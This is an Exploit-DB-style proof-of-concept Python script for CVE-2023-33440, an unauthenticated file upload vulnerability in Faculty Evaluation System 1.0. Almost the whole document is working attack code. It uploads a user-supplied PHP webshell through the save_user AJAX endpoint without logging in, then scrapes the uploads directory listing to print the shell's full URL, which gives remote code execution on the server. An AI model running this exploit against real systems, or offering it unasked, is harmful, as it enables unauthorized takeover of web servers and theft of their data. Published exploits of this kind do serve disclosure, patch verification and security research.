# Exploit Title: Faculty Evaluation System 1.0 - Unauthenticated File Upload
# Date: 5/29/2023
# Author: Alex Gan
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip
# Version: 1.0
# Tested on: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6
# CVE: CVE-2023-33440
# References: https://nvd.nist.gov/vuln/detail/CVE-2023-33440
#        https://www.exploit-db.com/exploits/49320
#            https://github.com/F14me7wq/bug_report/tree/main/vendors/oretnom23/faculty-evaluation-system
#             
#!/usr/bin/env python3
import os
import sys
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from requests.exceptions import ConnectionError, Timeout

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='URL')
    parser.add_argument('-p', '--payload', type=str, help='PHP webshell')
    return parser.parse_args()

def get_user_input(args):
    if not (args.url):
        args.url = input('Use the -u argument or Enter URL:')
    if not (args.payload):
        args.payload = input('Use the -p argument or Enter file path PHP webshell: ')
    return args.url, args.payload

def check_input_url(url):
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = 'http://' + url
    if parsed_url.path.endswith('/'):
        url = url.rstrip('/')
    return url

def check_host_availability(url):
    try:
        response = requests.head(url=url + '/login.php')
        if response.status_code == 200:
            print("[+] Host is accessible")
        else:
            print("[-] Host is not accessible")
            print("    Status code:", response.status_code)
            sys.exit()
    except (ConnectionError, Timeout) as e:
        print("[-] Host is not accessible")
        sys.exit()
    except requests.exceptions.RequestException as e:
        print("[-] Error:", e)
        sys.exit()

def make_request(url, method, files=None):
    if method == 'GET':
        response = requests.get(url)
    elif method == 'POST':
        response = requests.post(url, files=files)
    else:
        raise ValueError(f'Invalid HTTP method: {method}')
    
    if response.status_code == 200:
        print('[+] Request successful')
        return response.text
    else:
        print(f'[-] Error {response.status_code}: {response.text}')
        return None

def find_file(response_get, filename, find_url):
    soup = BeautifulSoup(response_get, 'html.parser')

    links = soup.find_all('a')
    found_files = []

    for link in links:
        file_upl = link.get('href')
        if file_upl.endswith(filename):
            found_files.append(file_upl)

    if found_files:
        print('    File found:')
        for file in found_files:
            print('[*] ' + file)

        print('    Full URL of your file:')
        for file_url in found_files:
            print('[*] ' + find_url + file_url)
    else:
        print('[-] File not found')

def main():
    args = get_args()
    url, payload = get_user_input(args)
    url = check_input_url(url)
    check_host_availability(url)

    post_url = url + "/ajax.php?action=save_user"
    get_url = url + "/assets/uploads/"
    filename = os.path.basename(payload)
    payload_file = [('img',(filename,open(args.payload,'rb'),'application/octet-stream'))]
    
    print("    Loading payload file")
    make_request(post_url,  'POST', files=payload_file)
    print("    Listing the uploads directory")
    response_get = make_request(get_url, 'GET')
    print("    Finding the downloaded payload file")
    find_file(response_get, filename, get_url)

if __name__ == "__main__":
    main()